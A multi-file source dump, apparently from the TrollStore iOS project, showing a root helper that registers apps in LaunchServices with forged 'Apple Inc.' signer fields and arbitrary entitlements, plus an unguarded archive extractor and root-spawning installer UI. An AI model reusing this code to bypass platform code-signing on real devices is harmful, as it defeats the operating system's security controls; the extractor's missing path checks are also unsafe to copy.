40 | return errno; 41 | } 42 | return 0; 43 | #endif 44 | } 45 | 46 | -------------------------------------------------------------------------------- /RootHelper/uicache.h: -------------------------------------------------------------------------------- 1 | extern bool registerPath(NSString *path, BOOL unregister, BOOL forceSystem); -------------------------------------------------------------------------------- /RootHelper/uicache.m: -------------------------------------------------------------------------------- 1 | @import Foundation; 2 | @import CoreServices; 3 | #import "CoreServices.h" 4 | #import 5 | #import "dlfcn.h" 6 | #import 7 | #import 8 | 9 | // uicache on steroids 10 | 11 | extern NSSet* immutableAppBundleIdentifiers(void); 12 | extern NSDictionary* dumpEntitlementsFromBinaryAtPath(NSString* binaryPath); 13 | 14 | NSDictionary *constructGroupsContainersForEntitlements(NSDictionary *entitlements, BOOL systemGroups) { 15 | if (!entitlements) return nil; 16 | 17 | NSString *entitlementForGroups; 18 | Class mcmClass; 19 | if (systemGroups) { 20 | entitlementForGroups = @"com.apple.security.system-groups"; 21 | mcmClass = [MCMSystemDataContainer class]; 22 | } 23 | else { 24 | entitlementForGroups = @"com.apple.security.application-groups"; 25 | mcmClass = [MCMSharedDataContainer class]; 26 | } 27 | 28 | NSArray *groupIDs = entitlements[entitlementForGroups]; 29 | if (groupIDs && [groupIDs isKindOfClass:[NSArray class]]) { 30 | NSMutableDictionary *groupContainers = [NSMutableDictionary new]; 31 | 32 | for (NSString *groupID in groupIDs) { 33 | MCMContainer *container = [mcmClass containerWithIdentifier:groupID createIfNecessary:YES existed:nil error:nil]; 34 | if (container.url) { 35 | groupContainers[groupID] = container.url.path; 36 | } 37 | } 38 | 39 | return groupContainers.copy; 40 | } 41 | 42 | return nil; 43 | } 44 | 45 | BOOL constructContainerizationForEntitlements(NSDictionary *entitlements, NSString **customContainerOut) { 46 | NSNumber *noContainer = entitlements[@"com.apple.private.security.no-container"]; 47 | if (noContainer && [noContainer isKindOfClass:[NSNumber class]]) { 48 | if (noContainer.boolValue) { 49 | return NO; 50 | } 51 | } 52 | 53 | NSObject *containerRequired = entitlements[@"com.apple.private.security.container-required"]; 54 | if (containerRequired && [containerRequired isKindOfClass:[NSNumber class]]) { 55 | if (!((NSNumber *)containerRequired).boolValue) { 56 | return NO; 57 | } 58 | } 59 | else if (containerRequired && [containerRequired isKindOfClass:[NSString class]]) { 60 | *customContainerOut = (NSString *)containerRequired; 61 | } 62 | 63 | return YES; 64 | } 65 | 66 | NSString *constructTeamIdentifierForEntitlements(NSDictionary *entitlements) { 67 | NSString *teamIdentifier = entitlements[@"com.apple.developer.team-identifier"]; 68 | if (teamIdentifier && [teamIdentifier isKindOfClass:[NSString class]]) { 69 | return teamIdentifier; 70 | } 71 | return nil; 72 | } 73 | 74 | NSDictionary *constructEnvironmentVariablesForContainerPath(NSString *containerPath, BOOL isContainerized) { 75 | NSString *homeDir = isContainerized ? containerPath : @"/var/mobile"; 76 | NSString *tmpDir = isContainerized ? [containerPath stringByAppendingPathComponent:@"tmp"] : @"/var/tmp"; 77 | return @{ 78 | @"CFFIXED_USER_HOME" : homeDir, 79 | @"HOME" : homeDir, 80 | @"TMPDIR" : tmpDir 81 | }; 82 | } 83 | 84 | bool registerPath(NSString *path, BOOL unregister, BOOL forceSystem) { 85 | if (!path) return false; 86 | 87 | LSApplicationWorkspace *workspace = [LSApplicationWorkspace defaultWorkspace]; 88 | if (unregister && ![[NSFileManager defaultManager] fileExistsAtPath:path]) { 89 | LSApplicationProxy *app = [LSApplicationProxy applicationProxyForIdentifier:path]; 90 | if (app.bundleURL) { 91 | path = [app bundleURL].path; 92 | } 93 | } 94 | 95 | path = path.stringByResolvingSymlinksInPath.stringByStandardizingPath; 96 | 97 | NSDictionary *appInfoPlist = [NSDictionary dictionaryWithContentsOfFile:[path stringByAppendingPathComponent:@"Info.plist"]]; 98 | NSString *appBundleID = [appInfoPlist objectForKey:@"CFBundleIdentifier"]; 99 | 100 | if([immutableAppBundleIdentifiers() containsObject:appBundleID.lowercaseString]) return false; 101 | 102 | if (appBundleID && !unregister) { 103 | NSString *appExecutablePath = [path stringByAppendingPathComponent:appInfoPlist[@"CFBundleExecutable"]]; 104 | NSDictionary *entitlements = dumpEntitlementsFromBinaryAtPath(appExecutablePath); 105 | 106 | NSString *appDataContainerID = appBundleID; 107 | BOOL appContainerized = constructContainerizationForEntitlements(entitlements, &appDataContainerID); 108 | 109 | MCMContainer *appDataContainer = [NSClassFromString(@"MCMAppDataContainer") containerWithIdentifier:appDataContainerID createIfNecessary:YES existed:nil error:nil]; 110 | NSString *containerPath = [appDataContainer url].path; 111 | 112 | BOOL isRemovableSystemApp = [[NSFileManager defaultManager] fileExistsAtPath:[@"/System/Library/AppSignatures" stringByAppendingPathComponent:appBundleID]]; 113 | BOOL registerAsUser = [path hasPrefix:@"/var/containers"] && !isRemovableSystemApp && !forceSystem; 114 | 115 | NSMutableDictionary *dictToRegister = [NSMutableDictionary dictionary]; 116 | 117 | // Add entitlements 118 | 119 | if (entitlements) { 120 | dictToRegister[@"Entitlements"] = entitlements; 121 | } 122 | 123 | // Misc 124 | 125 | dictToRegister[@"ApplicationType"] = registerAsUser ? @"User" : @"System"; 126 | dictToRegister[@"CFBundleIdentifier"] = appBundleID; 127 | dictToRegister[@"CodeInfoIdentifier"] = appBundleID; 128 | dictToRegister[@"CompatibilityState"] = @0; 129 | dictToRegister[@"IsContainerized"] = @(appContainerized); 130 | if (containerPath) { 131 | dictToRegister[@"Container"] = containerPath; 132 | dictToRegister[@"EnvironmentVariables"] = constructEnvironmentVariablesForContainerPath(containerPath, appContainerized); 133 | } 134 | dictToRegister[@"IsDeletable"] = @(![appBundleID isEqualToString:@"com.opa334.TrollStore"] && kCFCoreFoundationVersionNumber >= kCFCoreFoundationVersionNumber_iOS_15_0); 135 | dictToRegister[@"Path"] = path; 136 | 137 | dictToRegister[@"SignerOrganization"] = @"Apple Inc."; 138 | dictToRegister[@"SignatureVersion"] = @132352; 139 | dictToRegister[@"SignerIdentity"] = @"Apple iPhone OS Application Signing"; 140 | dictToRegister[@"IsAdHocSigned"] = @YES; 141 | dictToRegister[@"LSInstallType"] = @1; 142 | dictToRegister[@"HasMIDBasedSINF"] = @0; 143 | dictToRegister[@"MissingSINF"] = @0; 144 | dictToRegister[@"FamilyID"] = @0; 145 | dictToRegister[@"IsOnDemandInstallCapable"] = @0; 146 | 147 | NSString *teamIdentifier = constructTeamIdentifierForEntitlements(entitlements); 148 | if (teamIdentifier) dictToRegister[@"TeamIdentifier"] = teamIdentifier; 149 | 150 | // Add group containers 151 | 152 | NSDictionary *appGroupContainers = constructGroupsContainersForEntitlements(entitlements, NO); 153 | NSDictionary *systemGroupContainers = constructGroupsContainersForEntitlements(entitlements, YES); 154 | NSMutableDictionary *groupContainers = [NSMutableDictionary new]; 155 | [groupContainers addEntriesFromDictionary:appGroupContainers]; 156 | [groupContainers addEntriesFromDictionary:systemGroupContainers]; 157 | if (groupContainers.count) { 158 | if (appGroupContainers.count) { 159 | dictToRegister[@"HasAppGroupContainers"] = @YES; 160 | } 161 | if (systemGroupContainers.count) { 162 | dictToRegister[@"HasSystemGroupContainers"] = @YES; 163 | } 164 | dictToRegister[@"GroupContainers"] = groupContainers.copy; 165 | } 166 | 167 | // Add plugins 168 | 169 | NSString *pluginsPath = [path stringByAppendingPathComponent:@"PlugIns"]; 170 | NSArray *plugins = [[NSFileManager defaultManager] contentsOfDirectoryAtPath:pluginsPath error:nil]; 171 | 172 | NSMutableDictionary *bundlePlugins = [NSMutableDictionary dictionary]; 173 | for (NSString *pluginName in plugins) { 174 | NSString *pluginPath = [pluginsPath stringByAppendingPathComponent:pluginName]; 175 | 176 | NSDictionary *pluginInfoPlist = [NSDictionary dictionaryWithContentsOfFile:[pluginPath stringByAppendingPathComponent:@"Info.plist"]]; 177 | NSString *pluginBundleID = [pluginInfoPlist objectForKey:@"CFBundleIdentifier"]; 178 | 179 | if (!pluginBundleID) continue; 180 | NSString *pluginExecutablePath = [pluginPath stringByAppendingPathComponent:pluginInfoPlist[@"CFBundleExecutable"]]; 181 | NSDictionary *pluginEntitlements = dumpEntitlementsFromBinaryAtPath(pluginExecutablePath); 182 | NSString *pluginDataContainerID = pluginBundleID; 183 | BOOL pluginContainerized = constructContainerizationForEntitlements(pluginEntitlements, &pluginDataContainerID); 184 | 185 | MCMContainer *pluginContainer = [NSClassFromString(@"MCMPluginKitPluginDataContainer") containerWithIdentifier:pluginDataContainerID createIfNecessary:YES existed:nil error:nil]; 186 | NSString *pluginContainerPath = [pluginContainer url].path; 187 | 188 | NSMutableDictionary *pluginDict = [NSMutableDictionary dictionary]; 189 | 190 | // Add entitlements 191 | if (pluginEntitlements) { 192 | pluginDict[@"Entitlements"] = pluginEntitlements; 193 | } 194 | 195 | // Misc 196 | 197 | pluginDict[@"ApplicationType"] = @"PluginKitPlugin"; 198 | pluginDict[@"CFBundleIdentifier"] = pluginBundleID; 199 | pluginDict[@"CodeInfoIdentifier"] = pluginBundleID; 200 | pluginDict[@"CompatibilityState"] = @0; 201 | 202 | pluginDict[@"IsContainerized"] = @(pluginContainerized); 203 | if (pluginContainerPath) { 204 | pluginDict[@"Container"] = pluginContainerPath; 205 | pluginDict[@"EnvironmentVariables"] = constructEnvironmentVariablesForContainerPath(pluginContainerPath, pluginContainerized); 206 | } 207 | pluginDict[@"Path"] = pluginPath; 208 | pluginDict[@"PluginOwnerBundleID"] = appBundleID; 209 | pluginDict[@"SignerOrganization"] = @"Apple Inc."; 210 | pluginDict[@"SignatureVersion"] = @132352; 211 | pluginDict[@"SignerIdentity"] = @"Apple iPhone OS Application Signing"; 212 | 213 | NSString *pluginTeamIdentifier = constructTeamIdentifierForEntitlements(pluginEntitlements); 214 | if (pluginTeamIdentifier) pluginDict[@"TeamIdentifier"] = pluginTeamIdentifier; 215 | 216 | // Add plugin group containers 217 | 218 | NSDictionary *pluginAppGroupContainers = constructGroupsContainersForEntitlements(pluginEntitlements, NO); 219 | NSDictionary *pluginSystemGroupContainers = constructGroupsContainersForEntitlements(pluginEntitlements, YES); 220 | NSMutableDictionary *pluginGroupContainers = [NSMutableDictionary new]; 221 | [pluginGroupContainers addEntriesFromDictionary:pluginAppGroupContainers]; 222 | [pluginGroupContainers addEntriesFromDictionary:pluginSystemGroupContainers]; 223 | if (pluginGroupContainers.count) { 224 | if (pluginAppGroupContainers.count) { 225 | pluginDict[@"HasAppGroupContainers"] = @YES; 226 | } 227 | if (pluginSystemGroupContainers.count) { 228 | pluginDict[@"HasSystemGroupContainers"] = @YES; 229 | } 230 | pluginDict[@"GroupContainers"] = pluginGroupContainers.copy; 231 | } 232 | 233 | [bundlePlugins setObject:pluginDict forKey:pluginBundleID]; 234 | } 235 | [dictToRegister setObject:bundlePlugins forKey:@"_LSBundlePlugins"]; 236 | 237 | if (![workspace registerApplicationDictionary:dictToRegister]) { 238 | NSLog(@"Error: Unable to register %@", path); 239 | NSLog(@"Used dictionary: {"); 240 | [dictToRegister enumerateKeysAndObjectsUsingBlock:^(NSString *key, NSObject *obj, BOOL *stop) { 241 | NSLog(@"%@ = %@", key, obj); 242 | }]; 243 | NSLog(@"}"); 244 | return false; 245 | } 246 | } else { 247 | NSURL *url = [NSURL fileURLWithPath:path]; 248 | if (![workspace unregisterApplication:url]) { 249 | NSLog(@"Error: Unable to register %@", path); 250 | return false; 251 | } 252 | } 253 | return true; 254 | } 255 | -------------------------------------------------------------------------------- /RootHelper/unarchive.h: -------------------------------------------------------------------------------- 1 | @import Foundation; 2 | 3 | extern int extract(NSString* fileToExtract, NSString* extractionPath); -------------------------------------------------------------------------------- /RootHelper/unarchive.m: -------------------------------------------------------------------------------- 1 | #import "unarchive.h" 2 | 3 | #include 4 | #include 5 | 6 | static int 7 | copy_data(struct archive *ar, struct archive *aw) 8 | { 9 | int r; 10 | const void *buff; 11 | size_t size; 12 | la_int64_t offset; 13 | 14 | for (;;) { 15 | r = archive_read_data_block(ar, &buff, &size, &offset); 16 | if (r == ARCHIVE_EOF) 17 | return (ARCHIVE_OK); 18 | if (r < ARCHIVE_OK) 19 | return (r); 20 | r = archive_write_data_block(aw, buff, size, offset); 21 | if (r < ARCHIVE_OK) { 22 | fprintf(stderr, "%s\n", archive_error_string(aw)); 23 | return (r); 24 | } 25 | } 26 | } 27 | 28 | int extract(NSString* fileToExtract, NSString* extractionPath) 29 | { 30 | struct archive *a; 31 | struct archive *ext; 32 | struct archive_entry *entry; 33 | int flags; 34 | int r; 35 | 36 | /* Select which attributes we want to restore. */ 37 | flags = ARCHIVE_EXTRACT_TIME; 38 | flags |= ARCHIVE_EXTRACT_PERM; 39 | flags |= ARCHIVE_EXTRACT_ACL; 40 | flags |= ARCHIVE_EXTRACT_FFLAGS; 41 | 42 | a = archive_read_new(); 43 | archive_read_support_format_all(a); 44 | archive_read_support_filter_all(a); 45 | ext = archive_write_disk_new(); 46 | archive_write_disk_set_options(ext, flags); 47 | archive_write_disk_set_standard_lookup(ext); 48 | if ((r = archive_read_open_filename(a, fileToExtract.fileSystemRepresentation, 10240))) 49 | return 1; 50 | for (;;) 51 | { 52 | r = archive_read_next_header(a, &entry); 53 | if (r == ARCHIVE_EOF) 54 | break; 55 | if (r < ARCHIVE_OK) 56 | fprintf(stderr, "%s\n", archive_error_string(a)); 57 | if (r < ARCHIVE_WARN) 58 | return 1; 59 | 60 | NSString* currentFile = [NSString stringWithUTF8String:archive_entry_pathname(entry)]; 61 | NSString* fullOutputPath = [extractionPath stringByAppendingPathComponent:currentFile]; 62 | //printf("extracting %@ to %@\n", currentFile, fullOutputPath); 63 | archive_entry_set_pathname(entry, fullOutputPath.fileSystemRepresentation); 64 | 65 | r = archive_write_header(ext, entry); 66 | if (r < ARCHIVE_OK) 67 | fprintf(stderr, "%s\n", archive_error_string(ext)); 68 | else if (archive_entry_size(entry) > 0) { 69 | r = copy_data(a, ext); 70 | if (r < ARCHIVE_OK) 71 | fprintf(stderr, "%s\n", archive_error_string(ext)); 72 | if (r < ARCHIVE_WARN) 73 | return 1; 74 | } 75 | r = archive_write_finish_entry(ext); 76 | if (r < ARCHIVE_OK) 77 | fprintf(stderr, "%s\n", archive_error_string(ext)); 78 | if (r < ARCHIVE_WARN) 79 | return 1; 80 | } 81 | archive_read_close(a); 82 | archive_read_free(a); 83 | archive_write_close(ext); 84 | archive_write_free(ext); 85 | 86 | return 0; 87 | } 88 | -------------------------------------------------------------------------------- /Shared/CoreServices.h: -------------------------------------------------------------------------------- 1 | extern NSString *LSInstallTypeKey; 2 | 3 | @interface LSBundleProxy 4 | @property (nonatomic,readonly) NSString * bundleIdentifier; 5 | @property (nonatomic) NSURL* dataContainerURL; 6 | @property (nonatomic,readonly) NSURL* bundleContainerURL; 7 | -(NSString*)localizedName; 8 | @end 9 | 10 | @interface LSApplicationProxy : LSBundleProxy 11 | + (instancetype)applicationProxyForIdentifier:(NSString*)identifier; 12 | + (instancetype)applicationProxyForBundleURL:(NSURL*)bundleURL; 13 | @property NSURL* bundleURL; 14 | @property NSString* bundleType; 15 | @property NSString* canonicalExecutablePath; 16 | @property (nonatomic,readonly) NSDictionary* groupContainerURLs; 17 | @property (nonatomic,readonly) NSArray* plugInKitPlugins; 18 | @property (getter=isInstalled,nonatomic,readonly) BOOL installed; 19 | @property (getter=isPlaceholder,nonatomic,readonly) BOOL placeholder; 20 | @property (getter=isRestricted,nonatomic,readonly) BOOL restricted; 21 | @property (nonatomic,readonly) NSSet* claimedURLSchemes; 22 | @property (nonatomic,readonly) NSString* applicationType; 23 | @end 24 | 25 | @interface LSApplicationWorkspace : NSObject 26 | + (instancetype)defaultWorkspace; 27 | - (BOOL)registerApplicationDictionary:(NSDictionary*)dict; 28 | - (BOOL)unregisterApplication:(id)arg1; 29 | - (BOOL)_LSPrivateRebuildApplicationDatabasesForSystemApps:(BOOL)arg1 internal:(BOOL)arg2 user:(BOOL)arg3; 30 | - (BOOL)openApplicationWithBundleID:(NSString *)arg1 ; 31 | - (void)enumerateApplicationsOfType:(NSUInteger)type block:(void (^)(LSApplicationProxy*))block; 32 | - (BOOL)installApplication:(NSURL*)appPackageURL withOptions:(NSDictionary*)options error:(NSError**)error; 33 | - (BOOL)uninstallApplication:(NSString*)appId withOptions:(NSDictionary*)options; 34 | - (void)addObserver:(id)arg1; 35 | - (void)removeObserver:(id)arg1; 36 | @end 37 | 38 | @protocol LSApplicationWorkspaceObserverProtocol 39 | @optional 40 | -(void)applicationsDidInstall:(id)arg1; 41 | -(void)applicationsDidUninstall:(id)arg1; 42 | @end 43 | 44 | @interface LSEnumerator : NSEnumerator 45 | @property (nonatomic,copy) NSPredicate * predicate; 46 | + (instancetype)enumeratorForApplicationProxiesWithOptions:(NSUInteger)options; 47 | @end 48 | 49 | @interface LSPlugInKitProxy : LSBundleProxy 50 | @property (nonatomic,readonly) NSString* pluginIdentifier; 51 | @property (nonatomic,readonly) NSDictionary * pluginKitDictionary; 52 | + (instancetype)pluginKitProxyForIdentifier:(NSString*)arg1; 53 | @end 54 | 55 | @interface MCMContainer : NSObject 56 | + (id)containerWithIdentifier:(id)arg1 createIfNecessary:(BOOL)arg2 existed:(BOOL*)arg3 error:(id*)arg4; 57 | @property (nonatomic,readonly) NSURL * url; 58 | @end 59 | 60 | @interface MCMDataContainer : MCMContainer 61 | @end 62 | 63 | @interface MCMAppDataContainer : MCMDataContainer 64 | @end 65 | 66 | @interface MCMAppContainer : MCMContainer 67 | @end 68 | 69 | @interface MCMPluginKitPluginDataContainer : MCMDataContainer 70 | @end 71 | 72 | @interface MCMSystemDataContainer : MCMContainer 73 | @end 74 | 75 | @interface MCMSharedDataContainer : MCMContainer 76 | @end -------------------------------------------------------------------------------- /Shared/TSListControllerShared.h: -------------------------------------------------------------------------------- 1 | #import 2 | #import 3 | #import 4 | 5 | @interface TSListControllerShared : PSListController 6 | - (BOOL)isTrollStore; 7 | - (NSString*)getTrollStoreVersion; 8 | - (void)downloadTrollStoreAndRun:(void (^)(NSString* localTrollStoreTarPath))doHandler; 9 | - (void)installTrollStorePressed; 10 | - (void)updateTrollStorePressed; 11 | - (void)rebuildIconCachePressed; 12 | - (void)refreshAppRegistrationsPressed; 13 | - (void)uninstallPersistenceHelperPressed; 14 | - (void)handleUninstallation; 15 | - (NSMutableArray*)argsForUninstallingTrollStore; 16 | - (void)uninstallTrollStorePressed; 17 | @end -------------------------------------------------------------------------------- /Shared/TSListControllerShared.m: -------------------------------------------------------------------------------- 1 | #import "TSListControllerShared.h" 2 | #import "TSUtil.h" 3 | #import "TSPresentationDelegate.h" 4 | 5 | @implementation TSListControllerShared 6 | 7 | - (BOOL)isTrollStore 8 | { 9 | return YES; 10 | } 11 | 12 | - (NSString*)getTrollStoreVersion 13 | { 14 | if([self isTrollStore]) 15 | { 16 | return [NSBundle.mainBundle objectForInfoDictionaryKey:@"CFBundleVersion"]; 17 | } 18 | else 19 | { 20 | NSString* trollStorePath = trollStoreAppPath(); 21 | if(!trollStorePath) return nil; 22 | 23 | NSBundle* trollStoreBundle = [NSBundle bundleWithPath:trollStorePath]; 24 | return [trollStoreBundle objectForInfoDictionaryKey:@"CFBundleVersion"]; 25 | } 26 | } 27 | 28 | - (void)downloadTrollStoreAndRun:(void (^)(NSString* localTrollStoreTarPath))doHandler 29 | { 30 | NSURL* trollStoreURL = [NSURL URLWithString:@"https://github.com/opa334/TrollStore/releases/latest/download/TrollStore.tar"]; 31 | NSURLRequest* trollStoreRequest = [NSURLRequest requestWithURL:trollStoreURL]; 32 | 33 | NSURLSessionDownloadTask* downloadTask = [NSURLSession.sharedSession downloadTaskWithRequest:trollStoreRequest completionHandler:^(NSURL *location, NSURLResponse *response, NSError *error) 34 | { 35 | if(error) 36 | { 37 | UIAlertController* errorAlert = [UIAlertController alertControllerWithTitle:@"Error" message:[NSString stringWithFormat:@"Error downloading TrollStore: %@", error] preferredStyle:UIAlertControllerStyleAlert]; 38 | UIAlertAction* closeAction = [UIAlertAction actionWithTitle:@"Close" style:UIAlertActionStyleDefault handler:nil]; 39 | [errorAlert addAction:closeAction]; 40 | 41 | dispatch_async(dispatch_get_main_queue(), ^ 42 | { 43 | [TSPresentationDelegate stopActivityWithCompletion:^ 44 | { 45 | [TSPresentationDelegate presentViewController:errorAlert animated:YES completion:nil]; 46 | }]; 47 | }); 48 | } 49 | else 50 | { 51 | NSString* tarTmpPath = [NSTemporaryDirectory() stringByAppendingPathComponent:@"TrollStore.tar"]; 52 | [[NSFileManager defaultManager] removeItemAtPath:tarTmpPath error:nil]; 53 | [[NSFileManager defaultManager] copyItemAtPath:location.path toPath:tarTmpPath error:nil]; 54 | 55 | doHandler(tarTmpPath); 56 | } 57 | }]; 58 | 59 | [downloadTask resume]; 60 | } 61 | 62 | - (void)_installTrollStoreComingFromUpdateFlow:(BOOL)update 63 | { 64 | if(update) 65 | { 66 | [TSPresentationDelegate startActivity:@"Updating TrollStore"]; 67 | } 68 | else 69 | { 70 | [TSPresentationDelegate startActivity:@"Installing TrollStore"]; 71 | } 72 | 73 | [self downloadTrollStoreAndRun:^(NSString* tmpTarPath) 74 | { 75 | int ret = spawnRoot(rootHelperPath(), @[@"install-trollstore", tmpTarPath], nil, nil); 76 | [[NSFileManager defaultManager] removeItemAtPath:tmpTarPath error:nil]; 77 | 78 | if(ret == 0) 79 | { 80 | respring(); 81 | 82 | if([self isTrollStore]) 83 | { 84 | exit(0); 85 | } 86 | else 87 | { 88 | dispatch_async(dispatch_get_main_queue(), ^ 89 | { 90 | [TSPresentationDelegate stopActivityWithCompletion:^ 91 | { 92 | [self reloadSpecifiers]; 93 | }]; 94 | }); 95 | } 96 | } 97 | else 98 | { 99 | dispatch_async(dispatch_get_main_queue(), ^ 100 | { 101 | [TSPresentationDelegate stopActivityWithCompletion:^ 102 | { 103 | UIAlertController* errorAlert = [UIAlertController alertControllerWithTitle:@"Error" message:[NSString stringWithFormat:@"Error installing TrollStore: trollstorehelper returned %d", ret] preferredStyle:UIAlertControllerStyleAlert]; 104 | UIAlertAction* closeAction = [UIAlertAction actionWithTitle:@"Close" style:UIAlertActionStyleDefault handler:nil]; 105 | [errorAlert addAction:closeAction]; 106 | [TSPresentationDelegate presentViewController:errorAlert animated:YES completion:nil]; 107 | }]; 108 | }); 109 | } 110 | }]; 111 | } 112 | 113 | - (void)installTrollStorePressed 114 | { 115 | [self _installTrollStoreComingFromUpdateFlow:NO]; 116 | } 117 | 118 | - (void)updateTrollStorePressed 119 | { 120 | [self _installTrollStoreComingFromUpdateFlow:YES]; 121 | } 122 | 123 | - (void)rebuildIconCachePressed 124 | { 125 | [TSPresentationDelegate startActivity:@"Rebuilding Icon Cache"]; 126 | 127 | dispatch_async(dispatch_get_global_queue(DISPATCH_QUEUE_PRIORITY_DEFAULT, 0), ^ 128 | { 129 | spawnRoot(rootHelperPath(), @[@"refresh-all"], nil, nil); 130 | 131 | dispatch_async(dispatch_get_main_queue(), ^ 132 | { 133 | [TSPresentationDelegate stopActivityWithCompletion:nil]; 134 | }); 135 | }); 136 | } 137 | 138 | - (void)refreshAppRegistrationsPressed 139 | { 140 | [TSPresentationDelegate startActivity:@"Refreshing"]; 141 | 142 | dispatch_async(dispatch_get_global_queue(DISPATCH_QUEUE_PRIORITY_DEFAULT, 0), ^ 143 | { 144 | spawnRoot(rootHelperPath(), @[@"refresh"], nil, nil); 145 | respring(); 146 | 147 | dispatch_async(dispatch_get_main_queue(), ^ 148 | { 149 | [TSPresentationDelegate stopActivityWithCompletion:nil]; 150 | }); 151 | }); 152 | } 153 | 154 | - (void)uninstallPersistenceHelperPressed 155 | { 156 | if([self isTrollStore]) 157 | { 158 | spawnRoot(rootHelperPath(), @[@"uninstall-persistence-helper"], nil, nil); 159 | [self reloadSpecifiers]; 160 | } 161 | else 162 | { 163 | UIAlertController* uninstallWarningAlert = [UIAlertController alertControllerWithTitle:@"Warning" message:@"Uninstalling the persistence helper will revert this app back to it's original state, you will however no longer be able to persistently refresh the TrollStore app registrations. Continue?" preferredStyle:UIAlertControllerStyleAlert]; 164 | 165 | UIAlertAction* cancelAction = [UIAlertAction actionWithTitle:@"Cancel" style:UIAlertActionStyleCancel handler:nil]; 166 | [uninstallWarningAlert addAction:cancelAction]; 167 | 168 | UIAlertAction* continueAction = [UIAlertAction actionWithTitle:@"Continue" style:UIAlertActionStyleDestructive handler:^(UIAlertAction* action) 169 | { 170 | spawnRoot(rootHelperPath(), @[@"uninstall-persistence-helper"], nil, nil); 171 | exit(0); 172 | }]; 173 | [uninstallWarningAlert addAction:continueAction]; 174 | 175 | [TSPresentationDelegate presentViewController:uninstallWarningAlert animated:YES completion:nil]; 176 | } 177 | } 178 | 179 | - (void)handleUninstallation 180 | { 181 | if([self isTrollStore]) 182 | { 183 | exit(0); 184 | } 185 | else 186 | { 187 | [self reloadSpecifiers]; 188 | } 189 | } 190 | 191 | - (NSMutableArray*)argsForUninstallingTrollStore 192 | { 193 | return @[@"uninstall-trollstore"].mutableCopy; 194 | } 195 | 196 | - (void)uninstallTrollStorePressed 197 | { 198 | UIAlertController* uninstallAlert = [UIAlertController alertControllerWithTitle:@"Uninstall" message:@"You are about to uninstall TrollStore, do you want to preserve the apps installed by it?" preferredStyle:UIAlertControllerStyleAlert]; 199 | 200 | UIAlertAction* uninstallAllAction = [UIAlertAction actionWithTitle:@"Uninstall TrollStore, Uninstall Apps" style:UIAlertActionStyleDestructive handler:^(UIAlertAction* action) 201 | { 202 | NSMutableArray* args = [self argsForUninstallingTrollStore]; 203 | spawnRoot(rootHelperPath(), args, nil, nil); 204 | [self handleUninstallation]; 205 | }]; 206 | [uninstallAlert addAction:uninstallAllAction]; 207 | 208 | UIAlertAction* preserveAppsAction = [UIAlertAction actionWithTitle:@"Uninstall TrollStore, Preserve Apps" style:UIAlertActionStyleDestructive handler:^(UIAlertAction* action) 209 | { 210 | NSMutableArray* args = [self argsForUninstallingTrollStore]; 211 | [args addObject:@"preserve-apps"]; 212 | spawnRoot(rootHelperPath(), args, nil, nil); 213 | [self handleUninstallation]; 214 | }]; 215 | [uninstallAlert addAction:preserveAppsAction]; 216 | 217 | UIAlertAction* cancelAction = [UIAlertAction actionWithTitle:@"Cancel" style:UIAlertActionStyleCancel handler:nil]; 218 | [uninstallAlert addAction:cancelAction]; 219 | 220 | [TSPresentationDelegate presentViewController:uninstallAlert animated:YES completion:nil]; 221 | } 222 | 223 | @end -------------------------------------------------------------------------------- /Shared/TSPresentationDelegate.h: -------------------------------------------------------------------------------- 1 | #import 2 | 3 | @interface TSPresentationDelegate : NSObject 4 | @property (class) UIViewController* presentationViewController; 5 | @property (class) UIAlertController* activityController; 6 | + (void)startActivity:(NSString*)activity withCancelHandler:(void (^)(void))cancelHandler; 7 | + (void)startActivity:(NSString*)activity; 8 | + (void)stopActivityWithCompletion:(void (^)(void))completion; 9 | + (void)presentViewController:(UIViewController *)viewControllerToPresent animated:(BOOL)flag completion:(void (^)(void))completion; 10 | @end -------------------------------------------------------------------------------- /Shared/TSPresentationDelegate.m: -------------------------------------------------------------------------------- 1 | #import "TSPresentationDelegate.h" 2 | 3 | @implementation TSPresentationDelegate 4 | 5 | static UIViewController* g_presentationViewController; 6 | static UIAlertController* g_activityController; 7 | 8 | + (UIViewController*)presentationViewController 9 | { 10 | return g_presentationViewController; 11 | } 12 | 13 | + (void)setPresentationViewController:(UIViewController*)vc 14 | { 15 | g_presentationViewController = vc; 16 | } 17 | 18 | + (UIAlertController*)activityController 19 | { 20 | return g_activityController; 21 | } 22 | 23 | + (void)setActivityController:(UIAlertController*)ac 24 | { 25 | g_activityController = ac; 26 | } 27 | 28 | + (void)startActivity:(NSString*)activity withCancelHandler:(void (^)(void))cancelHandler 29 | { 30 | if(self.activityController) 31 | { 32 | self.activityController.title = activity; 33 | } 34 | else 35 | { 36 | self.activityController = [UIAlertController alertControllerWithTitle:activity message:@"" preferredStyle:UIAlertControllerStyleAlert]; 37 | UIActivityIndicatorView* activityIndicator = [[UIActivityIndicatorView alloc] initWithFrame:CGRectMake(5,5,50,50)]; 38 | activityIndicator.hidesWhenStopped = YES; 39 | activityIndicator.activityIndicatorViewStyle = UIActivityIndicatorViewStyleMedium; 40 | [activityIndicator startAnimating]; 41 | [self.activityController.view addSubview:activityIndicator]; 42 | 43 | if(cancelHandler) 44 | { 45 | UIAlertAction* cancelAction = [UIAlertAction actionWithTitle:@"Cancel" style:UIAlertActionStyleCancel handler:^(UIAlertAction* action) 46 | { 47 | self.activityController = nil; 48 | cancelHandler(); 49 | }]; 50 | [self.activityController addAction:cancelAction]; 51 | } 52 | 53 | [self presentViewController:self.activityController animated:YES completion:nil]; 54 | } 55 | } 56 | 57 | + (void)startActivity:(NSString*)activity 58 | { 59 | [self startActivity:activity withCancelHandler:nil]; 60 | } 61 | 62 | + (void)stopActivityWithCompletion:(void (^)(void))completionBlock 63 | { 64 | if(!self.activityController) return; 65 | 66 | [self.activityController dismissViewControllerAnimated:YES completion:^ 67 | { 68 | self.activityController = nil; 69 | if(completionBlock) completionBlock(); 70 | }]; 71 | } 72 | 73 | + (void)presentViewController:(UIViewController *)viewControllerToPresent animated:(BOOL)flag completion:(void (^)(void))completionBlock 74 | { 75 | [self.presentationViewController presentViewController:viewControllerToPresent animated:flag completion:completionBlock]; 76 | } 77 | 78 | @end -------------------------------------------------------------------------------- /Shared/TSUtil.h: -------------------------------------------------------------------------------- 1 | @import Foundation; 2 | #import "CoreServices.h" 3 | 4 | #define TrollStoreErrorDomain @"TrollStoreErrorDomain" 5 | 6 | extern void chineseWifiFixup(void); 7 | extern NSString *getExecutablePath(void); 8 | extern NSString* rootHelperPath(void); 9 | extern NSString* getNSStringFromFile(int fd); 10 | extern void printMultilineNSString(NSString* stringToPrint); 11 | extern int spawnRoot(NSString* path, NSArray* 